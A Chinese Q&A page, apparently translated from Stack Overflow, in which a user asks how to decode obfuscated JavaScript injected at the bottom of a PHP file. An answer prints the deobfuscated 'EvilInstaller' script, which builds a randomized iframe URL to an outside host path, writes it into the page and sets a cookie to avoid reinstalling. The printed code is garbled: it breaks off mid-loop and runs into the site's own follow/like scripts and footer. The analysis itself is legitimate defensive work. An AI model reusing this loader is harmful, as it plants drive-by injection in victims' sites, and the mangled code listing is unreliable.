当前位置:  开发笔记 > 编程语言 > 正文

你会如何逆向工程?

如何解决《你会如何逆向工程?》经验,为你挑选了1个好方法。

我有一些代码在javascript的php文件的底部.它经历了许多奇怪的扭曲,比如将hex转换为ascii然后进行正则表达式替换,执行代码等等......

有没有办法在实际执行之前找出它正在执行的内容?

代码在这里:

http://pastebin.ca/1303597



1> Andrzej Doyl..:

您可以逐步完成它 - 因为它是Javascript,并且它被解释,它需要是它自己的解密器.如果您可以访问命令行Javascript解释器(例如Firebug中的控制台),那么这将非常简单.

我来看看会发生什么.

编辑我已经完成了大部分工作 - 似乎最后一步是非平凡的,可能是因为它涉及"argument.callee".无论如何,我已经在Pastebin上提出了我迄今为止所做的一切.

有趣的是,我发现其中最难的部分是给出了胡言乱语的变量名.它让我想起了一个填字游戏,或者数独,你知道事情是如何相关的,但是在你弄清楚其依赖部分是什么之前,你无法明确地分配一些东西.:-)我敢肯定,如果有人认出这个算法,他们可以给出更有意义的部分名称,但是在那里有很多XORing正在进行的时候,有两个临时变量,我刚刚将它们作为默认名称因为我不知道足够的背景来给他们有用的.

最终编辑:当我意识到我可以传入原始文本时,'arguments.callee'位变得容易了,我讽刺的是它正在解码(这是一个非常聪明的技术,因此正常的反混淆不会起作用,因为当然一次你重命名变量等,值是不同的).无论如何,这是你的脚本:

    function EvilInstaller(){};
    EvilInstaller.prototype = {
        getFrameURL : function() {
            var dlh=document.location.host;
            return "http"+'://'+((dlh == '' || dlh == 'undefined') ? this.getRandString() : '') + dlh.replace (/[^a-z0-9.-]/,'.').replace (/\.+/,'.') + "." + this.getRandString() + "." + this.host + this.path;
        },
        path:'/elanguage.cn/',
        cookieValue:1,
        setCookie : function(name, value) {
            var d= new Date();
            d.setTime(new Date().getTime() + 86400000);
            document.cookie = name + "=" + escape(value)+"; expires="+d.toGMTString();
        },
        install : function() {
            if (!this.alreadyInstalled()) {
                var s = "
" try { document.open(); document.write(s); document.close(); } catch(e) { document.write("" + s + "") } this.setCookie(this.cookieName, this.cookieValue); } }, getRandString : function() { var l=16,c='0Z1&2Q3Z4*5&6Z7Q8*9)a*b*cQdZeQf*'.replace(/[ZQ&\*\)]/g, ''); var o=''; for (var i=0;i\n' +"已关注") }else if(response=="0"){ tips('已取消关注!') $("#follow_bt").html('\n' + "关注作者") }else if(response=="-2"){ tips("请先登录!") }else{ tips("关注失败!") } }); } function like(sid) { var myDate = new Date(); $.get("/blog/article/like?sid="+sid+"&stime="+myDate.getMilliseconds(),null,function(response){ if(response!="-1"){ $("#like_num").html(response+"赞") }else{ tips("关注失败!") } }); }
DevBox开发工具箱 | 专业的在线开发工具网站    京公网安备 11010802040832号  |  京ICP备19059560号-6
Copyright © 1998 - 2020 DevBox.CN. All Rights Reserved devBox.cn 开发工具箱 版权所有